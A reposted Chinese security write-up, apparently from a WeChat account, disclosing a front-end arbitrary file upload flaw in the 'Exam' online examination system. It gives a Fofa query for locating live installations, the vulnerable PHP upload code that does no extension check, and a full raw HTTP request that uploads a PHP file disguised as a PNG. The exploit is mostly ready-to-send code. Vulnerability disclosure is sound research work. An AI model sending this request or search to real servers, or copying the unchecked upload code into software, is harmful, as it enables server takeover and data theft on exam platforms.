Exam在线考试系统是一种现代地,全新的考试模型。它使用户可根据自身特点快速构建考试、测评、练习、竞赛、调查、分析及管理于一体的网络化考试平台,可轻松完成全员考试,问卷调查以及知识竞赛等工作
Fofa:"app/core/styles/js/jquery.min.js"
在 /lib/files.cls.php 文件中定义了上传文件的 uploadFile 类,可以使其他调用这处方法上传文件
//上传文件
public function uploadFile($file,$updir,$sExtension = NULL,$name = NULL)
{
if(!$sExtension)$sExtension = $this->getFileExtName($file['name']);
if(!$name)$name = time().rand(1000,9999);
if(!file_exists($updir))$this->mdir($updir);
$url = $updir.$name.'.'.$sExtension;
if(file_exists($url))unlink($url);
move_uploaded_file( $file['tmp_name'], $url ) ;
if (file_exists($url))
{
$oldumask = umask(0) ;
chmod( $url, 0777 ) ;
umask( $oldumask ) ;
}
return $url;
}
全局搜索 uploadFile ,通过一个个尝试
实际在 /app/document/controller/fineuploader.api.php 控制器中可以直接上传文件并回显
private function index()
{
$path = 'files/attach/images/content/'.date('Ymd').'/';
$upfile = $this->ev->getFile('qqfile');
if($upfile)
$fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts);
if($fileurl)
{
$args = array();
$args['attpath'] = $fileurl;
$args['atttitle'] = $upfile['name'];
$args['attext'] = $this->files->getFileExtName($upfile['name']);
$args['attsize'] = $upfile['size'];
$args['attuserid'] = $this->_user['sessionuserid'];
$args['attcntype'] = $upfile['type'];
$this->attach->addAttach($args);
if($this->ev->get('imgwidth') || $this->ev->get('imgheight'))
{
if($this->files->thumb($fileurl,$fileurl.'.png',$this->ev->get('imgwidth'),$this->ev->get('imgheight')))
$thumb = $fileurl.'.png';
else
$thumb = $fileurl;
}
else
$thumb = $fileurl;
exit(json_encode(array('success' => true,'thumb' => $thumb,'title' => $upfile['name'])));
}
else
{
exit(json_encode(array('status' => 'fail')));
}
}
}
POST /index.php?document-api-fineuploader HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 198
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygfd0H3RWDeNNLaPy
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/index.php?document-api-fineuploader
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
------WebKitFormBoundarye776qKJKlcGtVlH5
Content-Disposition: form-data; name="qqfile"; filename="1.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundarye776qKJKlcGtVlH5--
原文始发于微信公众号(星悦安全):Exam在线考试系统存在前台任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论